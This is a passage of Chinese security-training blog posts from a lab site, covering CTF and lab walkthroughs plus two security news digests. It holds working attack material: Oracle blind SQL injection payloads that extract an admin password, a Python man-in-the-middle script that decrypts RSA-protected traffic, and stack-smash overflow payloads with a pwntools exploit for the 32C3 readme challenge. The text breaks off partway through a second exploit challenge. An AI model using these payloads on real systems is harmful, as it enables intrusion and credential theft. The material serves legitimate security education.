Oracle数据库手工盲注
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  Oracle数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品。是目前世界上使用最为广泛的数据库管理系统。基于“客户端/服务器”模式结构,客户端应用程序与用户交互,接收用户信息,并向服务器发送请求,服务器系统负责管理数据信息和各种操作数据的活动。 Oracle数据库特征: 1)支持多用户、大事务量的处理 2)数据安全性和完整性的有效控制 3)支持分布式数据处理 4)移植性强 本次实验使用的是Oracle Database Express Edition 11g Release 2。 Sql注入形成的主要原因是: 由于程序员的安全意识薄弱,在编写代码时没有对用户输入的特殊字符进行处理,导致将特殊字符附带在参数中直接与数据库进行交互。 由于对and,select等关键字没有过滤。所以接下来我们可以使用and,select等构造sql语句来得到管理员帐号密码。 操作开始,我们先进入实验题目地址 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015012211084300001 实验步骤一 1.首先我们判断一下有没有注入点,在公司新闻下打开一个新闻链接 2.网址后加and 1=1返回正常 3.加and 1=2返回错误,说明存在注入漏洞。 4.判断一下数据库中的表,网址后加上:and (select count(*) from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。 5.判断下该网站下有几个管理员,如果有多个的话,成功入侵的几率就会加大 and (select count(*) from admin)=1,返回正常说明只有一个管理员。 6.已知表的前提下,判断表中字段结构 and (select count(name) from admin)>=0返回正常,说明存在name字段 and (select count(pass) from admin)>=0返回错误,说明不存在pass字段 经过猜测,存在pwd字段, 实验步骤二 7.接下来采用ASCII码折半法猜解管理员帐号和密码 判断管理员帐号的长度 and (select count(*) from admin where length(name)>=5)=1 说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成 8.and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1 说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin 9.相同方法猜解密码 and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文 and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d ......重复操作...... and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8 完成上述操作可以确定帐号为:admin密码为:admin888 打开http://10.1.1.59/login.jsp,输入猜解出的用户名和密码 提示登录成功 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
MISC 从标题中找信息
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  在做隐写的时候,思路很重要,当然有时候会感觉思路不够用,那怎么办呢?记住看隐写的题目名字很重要,因为很多时候,隐写题的标题里就隐藏了信息。 本文实验地址为:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610044700001。 进入实验机,打开http://www.ctfmisc.com/firstbl00d/后,我们仅仅看到一张图片以及一段简单的文字描述,除了网页的标题“BASE64 & MD5 & COOKIE”外,表面上没有任何有用的信息。 继续看题目,此时查看页面的Cookie也看不到任何有用的信息。 这里找不到异常是不是可以看一下图片本身是否携带了提示信息(比如Exif等)。将网页中的xctf.jpg图片保存下来之后,通过Exif.py文件,通可以读取xctf.jpg中的Exif信息,如图所示: 发现了一个可疑的字符串RkFCQTgzOEY4QkIyOEU3NUZGNjVGMzRENEY5NDMwRDc= 这明显就是一个base64题目的标题也有说明我们解密一下在主机的桌面有一个JPK工具,打开JPK,输入RkFCQTgzOEY4QkIyOEU3NUZGNjVGMzRENEY5NDMwRDc=,在JPK的菜单中依次选择ASCII、Decode、Base64菜单项,就可以对其进行解码操作了,得到的结果为FABA838F8BB28E75FF65F34D4F9430D7。 注意标题,这是md5加密,我们网页在线解密一下 套路防不胜防,xctf。 进行做题访问http://www.ctfmisc.com/firstbl00d/xctf.php,网页的内容仍然没有有用的提示信息,不过网页的标题是COOKIE,因此我们可以查看网页的Cookie。使用Google Chrome浏览器打开xctf.php页面,按下F12调出开发者工具,切换到Network选项卡,按F5刷新页面,就可以看到Cookie里面的内容了,如图所示: Cookie内容为next-step=bjN4dDV0M3A%3D,其中%3D为等于号“=”的编码,因此字符串也就是bjN4dDV0M3A=,这也是一个BASE64编码的字符串,再次使用JPK工具对其进行解码,得到明文n3xt5t3p。 我们访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p 这个URL,发现页面跳转到了http://www.ctfmisc.com/firstbl00d/n3xt5t3p/index.html,这本是再正常不过的事情,不过根据页面的文字提示“你刚才看见KEY了吗”,是不是在跳转的过程中还有什么提示信息呢?同样在Google Chrome浏览器中按下F12打开开发者工具,并切换到Network选项,再次访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p页面,我们看到了两个301跳转,如图所示: 对于访问目录的URL,通过一次跳转来到index.html页面是正常的事情,但是这里居然有两次跳转,显然就不太正常了。我们点击两个301跳转,看看里面都有什么信息。我们看到的是,第二个301跳转的HTTP响应头信息中存在这样一个选项Set-Cookie:check=0,其他就没有什么特殊的了。 这里需要发挥一下想象,我们访问的是n3xt5t3p,而最终跳转到的页面是n3xt5t3p/index.html,因为有两次跳转,也就是说在这中间还有一个页面。因为之前访问的都是php页面,所以我们猜测其中有一个index.php(是的,CTF比赛的时候就是需要大胆的去猜想,然后通过实际操作来进行验证)。访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p/index.php,没有出现404错误,而是跳转到了index.html,实际结果表明index.php页面是存在的。 结合上面的分析,可能需要Cookie中的check=1时,访问index.php才不会进行跳转。 我们尝试一下用,burp截包,然后我们把Cookie字段的check=0改为check=1,然后点击Forward按钮将HTTP请求发出去,如图所示: 此时,我们就可以在浏览器端看到进一步的提示信息了,提示信息如下: WORD is a common english word len(WORD) = 4 md5(WORD + '_heetian') = '84323c9b4fdb2539b4fb69b82b0189e7' FLAG = md5(WORD) 这里嗯!看到flag了md5(WORD),但是好像需要解密。利用python的hashlib库可以十分方便的进行MD5哈希值计算,对于4个字母的单词,我们可以通过暴力枚举的方式,方便而又快速的找到上面的Flag。将下面的内容保存为一个py文件,双击后等待一会就可以看到运算结果了。 import hashlib import string def crackMd5(dst): dst = dst.lower() for a in string.lowercase: for b in string.lowercase: for c in string.lowercase: for d in string.lowercase: word = a + b + c +d + "_heetian" tmp = hashlib.md5(word).hexdigest() if dst == tmp: return word return None if name == "main": raw_input(crackMd5("84323c9b4fdb2539b4fb69b82b0189e7")) Python基于缩进来控制语句块,如果直接复制运行时提示错误,也可以访问C:\Misc\crackMd5.py来进行计算。计算的结果为misc,如图所示: 这一类的题目不要以为得到了flag就轻松了,后面还有解密过程。思维要严谨,不能老是看题目表象,真题往往没那么容易得出答案。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年04月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、LinkedIn鱼叉式网络钓鱼活动以求职者为目标 https://threatpost.com/linkedin-spear-phishing-job-hunters/165240/ 2、用户现可查询是否在Facebook数据泄漏中 https://securityaffairs.co/wordpress/116371/data-breach/facebook-leak-check.html 3、卡巴斯基研究发现2020年下半年 33.4%的ICS计算机受到网络攻击 https://securityaffairs.co/wordpress/116360/ics-scada/ics-statistics-data.html 4、恶意软件攻击了车辆检查服务提供商Applus https://securityaffairs.co/wordpress/116338/malware/malware-attack-on-applus.html 5、Clop勒索软件盗取并泄漏多所美国大学数据 https://securityaffairs.co/wordpress/116325/uncategorized/clop-ransomware-us-universities.html 6、FactoryTalk产品存在九个高严重性漏洞 https://www.securityweek.com/nine-critical-flaws-factorytalk-product-pose-serious-risk-industrial-firms 7、Capital One银行通知更多客户数据泄露 https://securityaffairs.co/wordpress/116309/data-breach/capital-one-ssns.html 8、Phobos勒索软件变种使用新无文件技术 https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware 9、医疗机构TriHealth确认第三方数据泄露 https://www.trihealth.com/dailyhealthwire/news/trihealth-confirms-third-party-data-breach 10、研究人员发现税收主题的网络钓鱼活动 https://www.fortinet.com/blog/threat-research/did-you-file-your-taxes-yet
CTF 出一道Misc的题
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  今天看一下是CTF种misc是怎么出题的吧。了解出题人的意图也可以更好的培养我们的解题思路。 本次实验地址https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110116300200001,想操作一下的同学可以去试一下。 先用一个简单的题目当例子,首先打开“C:\CTF Misc\1.jpg”文件,如下,看到一个酷酷的头像。 我们再使用HexEdit工具打开1.jpg文件。将目光移到最下面,我们发现有一个Key:Hello World。 我们除了可以使用HexEdit去查看文件,也可以使用它去修改文件,默认打开文件是只读文件,当我们输入的时候HexEdit会提示是否关闭只读模式。这里我们必须关闭,才能进行修改,点击确定之后,就可以进行修改了。 也就是说出题的时候随意修改底下的数字就可以了?另外再看下一个操作使用copy命令对信息进行隐藏。 图片里面隐藏压缩包什么的就是靠这个?点击“开始à运行”输入cmd,进入了一个黑乎乎的窗口。我们这里主要了解的是copy命令,我们可以输入”help copy“,查看帮助。 可以看到这底下有两个文件。 这里我将要使用copy把文件2.jpg和2.txt合并成为“2.1.jpg”。 说明:/A 表示一个 ASCII 文本文件。(txt就是ASCII 文本文件) /B 表示一个二进位文件。(图片文件jpg就是二进制文件) 使用画板打开2.1.jpg文件,发现和2.jpg并没有什么区别,使用HexEdit工具或者文本编辑器(文本编辑器不推荐)打开,将目光移到文件尾。 使用copy除了可以将txt文件捆绑到图片文件中去,还可以将rar、zip等文件捆绑进去。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年04月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、RCE漏洞影响成千上万个QNAP SOHO NAS设备 https://www.securityweek.com/unpatched-rce-flaws-affect-tens-thousands-qnap-soho-nas-devices 2、堪萨斯州男子被控入侵公共供水系统 https://www.securityweek.com/kansas-man-charged-tampering-public-water-system 3、Dark Web Portal的管理员承认洗钱罪 https://www.securityweek.com/administrator-dark-web-portal-pleads-guilty-money-laundering 4、VMware修复了Carbon Black Cloud Workload中的严重漏洞 https://securityaffairs.co/wordpress/116233/security/vmware-carbon-black-cloud-flaw.html 5、Ubiquiti安全漏洞影响被严重低估 https://securityaffairs.co/wordpress/116196/data-breach/ubiquiti-security-breach.html 6、与朝鲜有关的黑客组织再次发起针对安全研究人员的社工活动 https://securityaffairs.co/wordpress/116183/apt/north-korea-hackers-target-researchers.html 7、攻击者利用Windows BITS启动后门实现持久性 https://thehackernews.com/2021/04/hackers-using-windows-os-feature-to.html 8、网络犯罪分子针对印尼银行客户进行大规模欺诈活动 https://securityaffairs.co/wordpress/116173/cyber-crime/5-star-customer-service-fraudsters-launch-massive-campaign-against-indonesias-major-banks-on-twitter.html 9、TA453对美国和以色列医学研究人员发起钓鱼攻击 https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential 10、BazarCall恶意软件使用恶意呼叫中心感染受害者 https://www.bleepingcomputer.com/news/security/bazarcall-malware-uses-malicious-call-centers-to-infect-victims/
CTF 密码学应用中间人攻击
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。 本次试验地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915514700001。 看下实验描述实验主机在8002和8003端口上分别运行了两个服务,这两个服务互相进行通信,且通信内容会进行加密处理,请对这两个服务进行分析,并还原出被加密的flag字符串。提示:你需要充当中间人完成两个端口之间信息的相互转发工作。 来看实验操作,使用nc分别连接实验主机的8002和8003端口(如果服务未运行,请双击C:\Crypto\6\Bob.pyw以及C:\Crypto\6\Alice.pyw脚本),其中8002端口会返回信息“Let's encrypt with RSA!”,而8003端口则没有返回任何信息,根据题目所给的提示“你需要充当中间人完成两个端口之间信息的相互转发工作”,我们将8002返回的信息转发给8003端口,8003返回”OK”,然后把“OK”转发给8002端口,这样不断进行测试,如图所示: 这感觉像RSA加密,我们先获取一下完整的消息内容编写一个Python脚本来完成流量转发的操作(位于实验主机的C:\Crypto\6\TraceLog.py): #!/usr/bin/env python # -- coding:utf-8 -- import socket if name == "main": s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect(("127.0.0.1", 8002)) s2.connect(("127.0.0.1", 8003)) while True: data = s1.recv(65535) if not data: break print "[8002] %s" % data s2.sendall(data) data = s2.recv(65535) print "[8003] %s" % data s1.sendall(data) s1.close() s2.close() 通过如下命令重定向将数据写入文件:TraceLog.py > log.txt 这个数据量很大,我们一个一个分析整个通信流程如下([8002]表示8002端口发出的内容,[8003]表示8003端口发出的内容): [8002] Let's encrypt with RSA! [8003] OK [8002] My public key is {e1,n1} [8003] My public key is {e2,n2} 8002 8003 双方在完成密钥交换之后,分别发送了一条经过RSA加密的消息。现在使用nc单独对8002端口进行测试,我们使用的测试公钥为{7,2449},交互过程如下: 提示2048位的RSA是安全,这里推测所给密钥长度不够,因此连接被关闭了。 这里是值得RSA算法里面的N值,使用PyCrypto库可以方便的生成2048位的RSA密钥,示例代码如下(位于实验主机的C:\Crypto\6\genKey.py): from Crypto.PublicKey import RSA if name == "main": key = RSA.generate(2048) print "e = %d" % key.e print "e = %d" % key.d print "n = %d" % key.p * key.q 运行结果如下图所示: 先看一下中间人攻击模型在通信双方使用RSA对通信内容进行加密时,如果在交换密钥之前通信链路被劫持,那么就可以对其发起中间人攻击。假设Alice和Bob为正常的通信双方,Mallory为中间人,那么中间人攻击模型如下图所示: 中间人攻击的流程如下: \1. Alice将自己的公钥发送给Bob; \2. Alice的流量被Mallory截获,Mallory冒充Alice,并将自己的公钥发送给Bob; \3. Bob收到Mallory的公钥,并将自己的公钥发给Mallory; \4. Mallory冒充Bob,回复自己的公钥给Alice; 经过上面的步骤之后,Mallory分别与Alice和Bob建立了连接并完成RSA公钥的交换,因为Alice和Bob都使用了Mallory的公钥对消息进行了加密,因此,Mallory可以使用自己的私钥对消息进行解密还原出明文,达到监听通信内容的目的,甚至,Mallory可以对消息进行篡改,然后发送给对应的接收方。 也就是说他们直接发送了flag但是通过了RSA加密,我们要做的就是通过中间人把内容截取并且解密。 经过实验步骤一以及实验步骤二的分析,我们已经知道了通信双方的协议细节,以及知道通过中间人攻击可以窃听通信内容,中间人只要使用2048位的RSA密钥,即可完成通信内容的解密,攻击脚本的代码如下(位于实验主机的C:\Crypto\6\RSAMITM.py): #!/usr/bin/env python # -- coding:utf-8 -- import socket from Crypto.PublicKey import RSA def splitkey(data): e, n = data[18:len(data)-1].split(",") return int(e), int(n) def genkey(): key = RSA.generate(2048) e = key.e d = key.d n = key.p * key.q return e, d, n def wrapkey(e, n): return "My public key is {%d,%d}" % (e, n) def RsaEncrypt(msg, e, n): res = [] for ch in msg: res.append(str(pow(ord(ch), e, n))) return "[%s]" % (",".join(res)) def RsaDecrypt(msg, d, n): msg = msg[1:len(msg)-1].split(",") res = [] for ch in msg: res.append(chr(pow(int(ch), d, n))) return "".join(res) def mitm(): s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect(("127.0.0.1", 8002)) s2.connect(("127.0.0.1", 8003)) # hello message data1 = s1.recv(4096) s2.sendall(data1) data2 = s2.recv(4096) s1.sendall(data2) # key1 data1 = s1.recv(4096) e1, n1 = splitkey(data1) # MITM key e, d, n = genkey() publickey = wrapkey(e, n) s2.sendall(publickey) # key2 data2 = s2.recv(4096) e2, n2 = splitkey(data2) s1.sendall(publickey) # decrypt flag1 data1 = s1.recv(40960) flag1 = RsaDecrypt(data1, d, n) data2 = RsaEncrypt(flag1, e2, n2) s2.sendall(data2) # decrypt flag2 data2 = s2.recv(40960) flag2 = RsaDecrypt(data2, d, n) data2 = RsaEncrypt(flag2, e1, n1) # flag print "[ FLAG ] %s%s" % (flag1, flag2) if name == "main": mitm() 在命令行下运行脚本,等待一段时间后即可得到flag。 注意RSA加密和中间人攻击的流程,是解题关键。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
栈溢出技巧(下)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  基于报错类的栈保护 canary这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。在brop中也提到过,通过爆破的办法去进行绕过canary保护,因为canary的值在每次程序运行时都是不同的,所以这需要一定的条件:fork的子进程不变,题目中很难遇到,所以我们可以使用stack smash的方法进行泄漏内容。canary位置位于高于局部变量,低于ESP,也就是在其中间,那么我们进行溢出攻击的时候,都会覆盖到canary的值,从而导致程序以外结束。具体看一下canary在哪?怎么形成的?又是怎么使用的?举一个小例子: #include <stdio.h> void main(int argc, char **argv) {   char buf[10];   scanf("%s", buf); } pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector 看一下其汇编代码 Dump of assembler code for function main:   0x0000000000000740 <+0>: push   rbp   0x0000000000000741 <+1>: mov   rbp,rsp   0x0000000000000744 <+4>: sub   rsp,0x30   0x0000000000000748 <+8>: mov   DWORD PTR [rbp-0x24],edi   0x000000000000074b <+11>:   mov   QWORD PTR [rbp-0x30],rsi   0x000000000000074f <+15>:   mov   rax,QWORD PTR fs:0x28   0x0000000000000758 <+24>:   mov   QWORD PTR [rbp-0x8],rax   0x000000000000075c <+28>:   xor   eax,eax   0x000000000000075e <+30>:   lea   rax,[rbp-0x12]   0x0000000000000762 <+34>:   mov   rsi,rax   0x0000000000000765 <+37>:   lea   rdi,[rip+0xb8]       # 0x824   0x000000000000076c <+44>:   mov   eax,0x0   0x0000000000000771 <+49>:   call   0x5f0 <__isoc99_scanf@plt>   0x0000000000000776 <+54>:   mov   rax,QWORD PTR [rbp-0x30]   0x000000000000077a <+58>:   lea   rdx,[rip+0xa6]       # 0x827   0x0000000000000781 <+65>:   mov   QWORD PTR [rax],rdx   0x0000000000000784 <+68>:   nop   0x0000000000000785 <+69>:   mov   rax,QWORD PTR [rbp-0x8]   0x0000000000000789 <+73>:   xor   rax,QWORD PTR fs:0x28   0x0000000000000792 <+82>:   je     0x799 <main+89>   0x0000000000000794 <+84>:   call   0x5e0 <__stack_chk_fail@plt>   0x0000000000000799 <+89>:   leave     0x000000000000079a <+90>:   ret     End of assembler dump. 找到<+15> <+24>和<+69><+73>处   0x000000000000074f <+15>:   mov   rax,QWORD PTR fs:0x28   0x0000000000000758 <+24>:   mov   QWORD PTR [rbp-0x8],rax .....   0x0000000000000785 <+69>:   mov   rax,QWORD PTR [rbp-0x8]   0x0000000000000789 <+73>:   xor   rax,QWORD PTR fs:0x28 前两处是生成canary并且存在[rbp-0x8]中,怎是通过从fs:0x28的地方获取的,而且发现每次都会变化,无法预测。后两处则是程序执行完成后对[rbp-0x8]canary值与fs:0x28的值进行比较,如果xor操作后rax寄存器中值为0,那么程序自己就认为是没有被破坏,否则调用__stack_chk_fail函数。继续看该函数的内容和作用,会引出stack smash利用技巧。 __attribute__ ((noreturn)) __stack_chk_fail (void) {     __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) __fortify_fail (msg)   const char *msg; {     /* The loop is added only to keep gcc happy. */         while (1)             __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") } libc_hidden_def (__fortify_fail) 最终会调用fortify_fail函数中的libc_message (2, "* %s *: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") ,关键点来了。一、可以打印信息二、__libc_argv[0]可控制那么__libc_argv[0]是什么呢?与打印信息又什么联系?libc_argv[0]则是* argv[ ]指针组的的元素,先看 main函数的原型,void main(int argc, char *argv)。其中参数argc是整数,表示使用命令行运行程序时传递了几个参数; argv[ ]是一个指针数组,用来存放指向你的字 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out *** stack smashing detected ***: ./a.out terminated 段错误 如果我们在程序中强行修改__libc_argv[0]会怎么样? #include <stdio.h> void main(int argc, char **argv) {   char buf[10];   scanf("%s", buf);   argv[0] = "stack smash!"; } pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out *** stack smashing detected ***: stack smash! terminated 段错误 可以发现成功控制了__libc_argv[0]的值,打印出来了想要的信息。综上所述,这一种基于报错类的栈保护,恰恰是可以报错,所以存在stack smash的绕过方法。 stack smash原理 调试fortify_fail 函数,找到libc_message函数的部分汇编代码: 0x7ffff7b331d0 <__fortify_fail+16>   mov   rax, qword ptr [rip + 0x2a5121] <0x7ffff7dd82f8> 然后获取[rip+0x2a5121]的值,也就是存放__libc_argv[0]的内存单元。 对于这个例子来说,输入的长度达到0xf8字节,即可开始覆盖__libc_argv[0]的值,从而打印出来需要的信息,构造就相应的payload就行泄漏想要的内容,比如存储的flag内容、开启PIE的加载基址、canary的值等等。在一节里面,拿刚才的例子再做一个有意思的小实验: pwn@pwn-PC:~/Desktop$ python -c 'print "A"*247' | ./a.out *** stack smashing detected ***: ./a.out terminated 段错误 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*248' | ./a.out *** stack smashing detected ***: terminated 段错误 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*249' | ./a.out *** stack smashing detected ***: terminated 段错误 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*250' | ./a.out 段错误 buf(0x7fffffffcd00)和__libc_argv0处相距0xf8(也就是说第249位会覆盖到0x7fffffffcdf8),那么输入247、248、249、250会出现三种情况,分别看一下对应情况下0x7fffffffcdf8的值: 达不到覆盖的距离:     21:0108│     0x7fffffffcdf8 —▸ 0x7fffffffd0d2 ◂— '/home/pwn/Desktop/a.out' 刚好达到覆盖的距离,读入\x00刚好覆盖到: 21:0108│     0x7fffffffcdf8 —▸ 0x7fffffffd000 ◂— 9 /* '\t' */ 覆盖形成的地址在内存中可以找到: 21:0108│     0x7fffffffcdf8 —▸ 0x7fffffff0041 ◂— 0x0 Cannot access memory at address 0x7fffff004141: 21:0108│     0x7fffffffcdf8 ◂— 0x7fffff004141 /* 'AA' */   因此在尝试寻找offset的时候,选择offset = 248。当然尝试的办法太慢了,直接gdb调试下断点,类似于例子中的distance 0x7fffffffcd00 0x7fffffffcdf8即可。 题目一 2015 年 32C3 CTF readme题目分析如下: unsigned __int64 sub_4007E0() { __int64 v0; // rbx int v1; // eax __int64 v3; // [rsp+0h] [rbp-128h] unsigned __int64 v4; // [rsp+108h] [rbp-20h] v4 = __readfsqword(0x28u); __printf_chk(1LL, "Hello!\nWhat's your name? "); if ( !_IO_gets(&v3) ) LABEL_9:   _exit(1); v0 = 0LL; __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: "); while ( 1 ) {   v1 = _IO_getc(stdin);   if ( v1 == -1 )     goto LABEL_9;   if ( v1 == 10 )     break;   byte_600D20[v0++] = v1;   if ( v0 == 32 )     goto LABEL_8; } memset((void *)((signed int)v0 + 6294816LL), 0, (unsigned int)(32 - v0)); LABEL_8: puts("Thank you, bye!"); return __readfsqword(0x28u) ^ v4; } pwn@pwn-PC:~/Desktop$ ./readme.bin Hello! What's your name? aaa Nice to meet you, aaa. Please overwrite the flag: aaa Thank you, bye! pwn@pwn-PC:~/Desktop$ checksec readme.bin [*] '/home/pwn/Desktop/readme.bin'   Arch:     amd64-64-little   RELRO:   No RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x400000)   FORTIFY: Enabled 程序中存在两次输入,并且可以发现_IO_gets(&v3)处存在明显的栈溢出。尝试找到__libc_argv[0]的位置 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*0x128+"\n"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAA... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: ./readme.bin terminated pwn@pwn-PC:~/Desktop$ python -c 'print "A"*535+"\n"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAA... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: ./readme.bin terminated pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+"\n"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAA... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***:   terminated 因此offset = 536。为了做题的效率,不可能去一个一个尝试,如下: gdb-peda$ find /home Searching for '/home' in: None ranges Found 5 results, display max 5 items: [stack] : 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin") [stack] : 0x7fffffffec71 ("/home/pwn/Desktop") [stack] : 0x7fffffffec91 ("/home/pwn") [stack] : 0x7fffffffef29 ("/home/pwn/.Xauthority") [stack] : 0x7fffffffefdb ("/home/pwn/Desktop/readme.bin") gdb-peda$ find 0x7fffffffd0c8 Searching for '0x7fffffffd0c8' in: None ranges Found 2 results, display max 2 items:   libc : 0x7ffff7dd43b8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin") [stack] : 0x7fffffffcde8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin") gdb-peda$ distance $rsp 0x7fffffffcde8 From 0x7fffffffcbd0 to 0x7fffffffcde8: 536 bytes, 134 dwords 这个计算距离只是特例,最好是按照上一部分例子中的方法来计算,下断点,distance 地址1 地址2. 可以在IDA下发现.data段的变量 .data:0000000000600D20 byte_600D20     db 33h                 ; DATA XREF: sub_4007E0+6E↑w .data:0000000000600D21 a2c3Theserverha db '2C3_TheServerHasTheFlagHere...',0 只需要将此变量进行显示即可,于是构造payload: pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"\n"+'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAA..... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***:   terminated 没有成功,再看代码逻辑。   0x40083f:   call   0x4006a0 <_IO_getc@plt>   0x400844:   cmp   eax,0xffffffff   0x400847:   je     0x40089f   0x400849:   cmp   eax,0xa   0x40084c:   je     0x400860   0x40084e:   mov   BYTE PTR [rbx+0x600d20],al   0x400854:   add   rbx,0x1   0x400858:   cmp   rbx,0x20   0x40085c:   jne   0x400838 这是第二次输入的汇编部分,其中执行了mov BYTE PTR [rbx+0x600d20],al(此时rbx = 0),也就是byte_600D20[v0++] = v1,这就把byte_600D20变量循环覆盖掉,如下: pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"\n"+"BBBB"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAA..... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: BBBB terminated 但是当ELF文件比较小的时候,它的不同区段可能会被多次映射,在ELF内存映射的时候,bss段会被映射两次,也就是说flag有备份,我们可以使用另一处的地址进行输出,如下: gdb-peda$ find 32C3 Searching for '32C3' in: None ranges Found 2 results, display max 2 items: readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...") readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...") 此时选择0x400d20进行构造payload即可成功打印出来。 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20)+"\n"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAA.... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated 段错误 由于题目在远程服务器上,而且LIBC_FATAL_STDERR=0,这个错误提示只会显示在远端,不会返回到我们这端。因此必须设置如下环境变量LIBC_FATAL_STDERR=1,才能实现将标准错误信息通过管道输出到远程shell中。因此,我们还必须设置该参数。那么环境变量在哪?有什么用?在libc_message函数的源代码可以看到LIBC_FATAL_STDERR_使用读取了环境变量libc_secure_getenv。如果它没有被设置、或者为空(\x00或NULL),那么stderr被重定向到_PATH_TTY(这通常是/dev/tty),因此将错误消息不被发送,只在服务器侧可见。位置在 from pwn import * env_addr = 0x600d20 flag_addr = 0x400d20 r = process('./read.bin') r.recvuntil("What's your name? ") r.sendline("A"*536 + p64(flag_addr) + "A"*8 + p64(env_addr)) r.sendline("LIBC_FATAL_STDERR_=1") r.recvuntil("*** stack smashing detected ***: ") log.info("The flag is: %s" % r.recvuntil(" ").strip()) 本地测试: 题目二 2018年网鼎杯中guess题目,相对于题目一,flag的位置在栈中而不是bss段,而且ASLR后地址是无法预测的。 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] int v5; // [rsp+1Ch] [rbp-84h] __int64 v6; // [rsp+20h] [rbp-80h] __int64 v7; // [rsp+28h] [rbp-78h] char buf; // [rsp+30h] [rbp-70h] char 